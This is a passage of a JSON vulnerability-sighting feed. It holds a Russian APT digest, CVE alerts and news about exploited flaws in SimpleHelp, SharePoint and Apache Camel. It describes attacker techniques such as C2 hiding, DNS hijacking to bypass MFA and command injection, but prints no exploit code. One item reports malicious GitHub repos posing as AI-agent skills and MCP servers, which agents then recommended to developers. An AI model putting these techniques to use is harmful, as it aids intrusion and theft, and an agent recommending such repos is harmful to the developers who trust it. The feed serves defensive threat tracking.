\u0444\u0438\u0448\u0438\u043d\u0433 \u0441 PDF-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430\u043c\u0438, \u0430\u0442\u0430\u043a\u0443\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0438\u0445 \u043f\u043e\u0434\u0440\u044f\u0434\u0447\u0438\u043a\u043e\u0432 \u0432 \u0420\u0424 \u0438 \u0420\u0411. \n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 MaaS-\u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u0430 Dolphin X, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 300+ \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0441 \u043e\u0441\u043e\u0431\u044b\u043c \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0410\u0432\u0442\u043e\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u0438\u0440\u0443\u044e\u0442 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u00ab\u0418\u0418-\u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0435\u0440\u00bb \u0434\u043b\u044f \u0440\u0430\u043d\u0436\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d \u043f\u043e \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \n\n\ud83e\udeb2\u0410\u043d\u0430\u043b\u0438\u0437 CloudAtlasGo \u2014 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 Go, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u0443\u0435\u0442 C2 \u0447\u0435\u0440\u0435\u0437 WebRTC, \u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 API-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 Trello. \u0412\u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438 \u0432 \u0420\u0424. \n\n\ud83d\udfe2\u041e\u0431\u0437\u043e\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 APT TA458, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0443\u043a\u0435\u0442 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0435\u0431-\u043f\u043e\u0447\u0442\u0435 Zimbra, mDaemon, Roundcube, SOGo \u0438 Kerio, \u0447\u0442\u043e\u0431\u044b \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u0438 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u043e\u0432 \u0432 \u042e\u0436\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435. \n\n\ud83d\udfe2\u0428\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \nProject CAV3RN, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 APT OilRig/APT34, \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0440\u0430\u0444\u0438\u043a C2 \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044f Outlook \u0447\u0435\u0440\u0435\u0437 Microsoft Graph API, \u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 DNS-\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0418\u0437\u0440\u0430\u0438\u043b\u044c.\n\n\ud83d\udd34\u041e\u0431\u0437\u043e\u0440 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 FrostArmada \u043f\u043e \u043f\u043e\u0434\u043c\u0435\u043d\u0435 DNS \u043d\u0430 \u0448\u043b\u044e\u0437\u0430\u0445 Wi-Fi \u0432 \u043e\u0442\u0435\u043b\u044f\u0445 \u0438 \u043d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044f\u0445, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0445\u043e\u0434\u0430 Microsoft 365 \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c MFA. \u0426\u0435\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u0421\u0428\u0410, \u0418\u043d\u0434\u0438\u0438 \u0438 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438. \n\n\ud83d\udfe0\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 7600 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043f\u043e GitHub \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 AgentBaiting. \u0411\u043e\u043b\u0435\u0435 800 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434 \u043d\u0430\u0432\u044b\u043a\u0438 \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0438 \u041c\u0421\u0420-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440. \u0424\u0438\u0448\u0438\u043d\u0433 \u0443\u0431\u0435\u0436\u0434\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u043d\u0435 \u0445\u0443\u0436\u0435, \u0447\u0435\u043c \u043b\u044e\u0434\u0435\u0439 \u2014 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c. \n\n\ud83d\udfe2\u041d\u043e\u0432\u044b\u0439 Rust-\u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0433\u0440\u0443\u043f\u043f\u044b Chaos, msaRAT, \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 C2, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u00ab\u0431\u0435\u0437\u0433\u043e\u043b\u043e\u0432\u044b\u043c\u00bb Chrome \u0447\u0435\u0440\u0435\u0437 DevTools, \u0442\u0430\u043a \u0447\u0442\u043e \u0432\u0435\u0441\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \n\n\ud83d\udd35\u041d\u043e\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u044e\u0442 BitLocker \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0438\u0441\u043a\u043e\u0432 \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u044e\u0442 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u043a\u0438 \u043d\u0430 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445. \u041f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0441\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 RDP \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u043e \u0441\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0411\u0414. \u0416\u0435\u0440\u0442\u0432\u044b \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435.\n\n\ud83d\udd35\u0421\u0432\u0435\u0436\u0430\u044f RCE \u0432 SharePoint, CVE-2026-50522, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.  \u041e\u043d\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442 machine keys \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \n\n\ud83d\udfe3\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 HermeticReader \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 Adobe Acrobat \u0434\u043b\u044f Chrome, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 329 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u044e WhatsApp Web \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u043a\u0440\u0430\u0441\u0442\u044c \u0447\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. \u0414\u0435\u0444\u0435\u043a\u0442 \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d (CVE-2026-48294), \u043d\u043e \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \u0432\u043e\u043b\u043d\u0443 \u0443\u0433\u043e\u043d\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0432 \u0440\u044f\u0434\u0435 \u0441\u0442\u0440\u0430\u043d.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-07-27T09:00:05.965033Z"}, {"uuid": "6924880e-9df6-4a01-b63a-dff5f36261ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48806", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmkfue7cy2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48806 \u0432 Twig: \u043e\u0431\u0445\u043e\u0434 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 sandbox \u0447\u0435\u0440\u0435\u0437 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u044e\u0447\u0438\n\n\n\nhttps://kripta.biz/posts/F02EC49B-D13D-4644-9D05-DF7A3F77448F", "creation_timestamp": "2026-07-27T09:10:25.019697Z"}, {"uuid": "405ead53-b7a7-4a20-add9-d0cbbd26bb8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4861", "type": "seen", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "content": "", "creation_timestamp": "2026-07-27T10:00:04.528823Z"}, {"uuid": "f77973e2-8c25-4493-8164-3e48e6a7debe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48144", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrn2pfmtd62e", "content": "CVE-2026-48144 - apache thrift\nApache Thrift's c_glib library for C does not properly check the identity of the server when using a secure connection. This means a malicious server could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apachethrift #apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-27T14:02:04.481363Z"}, {"uuid": "4bebbc9d-0f6a-4163-bc08-1642cbcae4fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48030", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrnlhuodhd2a", "content": "CVE-2026-48030 - pheditor\nAn attacker can execute arbitrary OS commands on a Pheditor server by injecting malicious characters into the 'dir' parameter in the terminal handler. This allows the attacker to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pheditor #composer #CVE #infosec", "creation_timestamp": "2026-07-27T19:02:05.330935Z"}, {"uuid": "1965f6f4-8415-405c-86c2-9f5103544d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrnozaxjms2o", "content": "\u30b5\u30dd\u30fc\u30c8\u30c4\u30fc\u30eb\u300cSimpleHelp\u300d\u306e\u8106\u5f31\u6027\u60aa\u7528\u3092\u78ba\u8a8d - \u7c73\u5f53\u5c40\u304c\u6ce8\u610f\u559a\u8d77\n\u30ea\u30e2\u30fc\u30c8\u30b5\u30dd\u30fc\u30c8\u30c4\u30fc\u30eb\u300cSimpleHelp\u300d\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u3001\u7c73\u5f53\u5c40\u306f\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u300cSimpleHelp\u300d\u306f\u3001\u9060\u9694\u304b\u3089\u7aef\u672b\u306e\u64cd\u4f5c\u3084\u4fdd\u5b88\u3092\u884c\u3046\u305f\u3081\u306e\u30ea\u30e2\u30fc\u30c8\u30b5\u30dd\u30fc\u30c8\u88fd\u54c1\u3002IT\u90e8\u9580\u3084\u5916\u90e8\u4fdd\u5b88\u4e8b\u696d\u8005\u306b\u3088\u308b\u7aef\u672b\u7ba1\u7406\u306a\u3069\u3067\u6d3b\u7528\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670829\u65e5\u3001\u300cCVE-2026-48558\u300d\u3092\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8ffd\u52a0\u3002\u7c73\u884c\u653f\u6a5f\u95a2\u306b\u5bfe\u3057\u30017\u67082\u65e5\u307e\u3067\u306b\u5bfe\u5fdc\u3059\u308b\u3088\u3046\u6c42\u3081\u305f\u3002", "creation_timestamp": "2026-07-27T20:05:32.804840Z"}, {"uuid": "39fd62ab-33dc-469d-ac00-ad51e8f38384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrnp5ilbp22o", "content": "SimpleHelp\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3001\u65b0\u305f\u306a\u7a83\u76d7\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5c55\u958b\u3055\u308c\u308b\n\n\u30cf\u30c3\u30ab\u30fc\u305f\u3061\u306f\u3001\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305fSimpleHelp\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-48558\uff09\u3092\u60aa\u7528\u3057\u3001Windows\u3001macOS\u3001Linux\u3092\u6a19\u7684\u3068\u3059\u308b\u3001\u3053\u308c\u307e\u3067\u6587\u66f8\u5316\u3055\u308c\u3066\u3044\u306a\u304b\u3063\u305f\u30af\u30ed\u30b9\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e\u60c5\u5831\u7a83\u76d7\u30de\u30eb\u30a6\u30a7\u30a2\u300cDjinn Stealer\u300d\u3092\u5c55\u958b\u3057\u3066\u3044\u308b\u3002\n\n...\n\n\u4eca\u6708\u521d\u3081\u3001\u653b\u6483\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696d\u3067\u3042\u308bHorizo\u200b\u200bn3.ai\u306f\u3001 CVE-2026-48558\u306b\u95a2\u3059\u308b\u8a73\u7d30\u3092\u516c\u958b\u3057\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308c\u3070\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u9ad8\u5ea6\u306a\u6a29\u9650\u3092\u6301\u3064\u6280\u8853\u8005\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4f5c\u6210\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u8ff0\u3079\u305f\u3002", "creation_timestamp": "2026-07-27T20:07:54.690851Z"}, {"uuid": "1ca40f25-946e-4101-9019-28e606934496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrntuzuwmz2a", "content": "CVE-2026-48030 - Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter (CWE-78)\nCVE ID : CVE-2026-48030\n \n Published : July 27, 2026, 6:16 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : Pheditor is a single-file editor and file manager written in ...", "creation_timestamp": "2026-07-27T21:32:37.142996Z"}, {"uuid": "ec3e8d23-29bc-4a4f-a661-d39965df0009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "https://t.me/GithubRedTeam/95423", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48204\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 16:23:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-48204: Apache Camel camel-mongodb-gridfs gridfs.* header injection overriding the GridFS operation (enumerate/read/delete files) from an unauthenticated HTTP request (fixed in 4.14.8/4.18.3/4.21.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-27T22:00:04.486651Z"}, {"uuid": "5ac1c584-c350-4339-9170-20ae7b2280bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95423", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48204\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 16:23:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-48204: Apache Camel camel-mongodb-gridfs gridfs.* header injection overriding the GridFS operation (enumerate/read/delete files) from an unauthenticated HTTP request (fixed in 4.14.8/4.18.3/4.21.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-28T00:00:09.229799Z"}, {"uuid": "726f6fc7-4c04-445d-9271-6d638df6878a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4861", "type": "published-proof-of-concept", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "content": "", "creation_timestamp": "2026-07-28T00:00:37.974492Z"}, {"uuid": "a4979c91-c134-420a-80b0-9df7c23809fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "exploited", "source": "https://t.me/kasperskyb2b/2270", "content": "\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udeb2 APT Awaken Likho/Core Werewolf \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u043d\u0430 AutoIt, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 PDF-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430\u043c\u0438, \u0430\u0442\u0430\u043a\u0443\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0438\u0445 \u043f\u043e\u0434\u0440\u044f\u0434\u0447\u0438\u043a\u043e\u0432 \u0432 \u0420\u0424 \u0438 \u0420\u0411. \n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 MaaS-\u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u0430 Dolphin X, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 300+ \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0441 \u043e\u0441\u043e\u0431\u044b\u043c \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0410\u0432\u0442\u043e\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u0438\u0440\u0443\u044e\u0442 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u00ab\u0418\u0418-\u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0435\u0440\u00bb \u0434\u043b\u044f \u0440\u0430\u043d\u0436\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d \u043f\u043e \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \n\n\ud83e\udeb2\u0410\u043d\u0430\u043b\u0438\u0437 CloudAtlasGo \u2014 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 Go, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u0443\u0435\u0442 C2 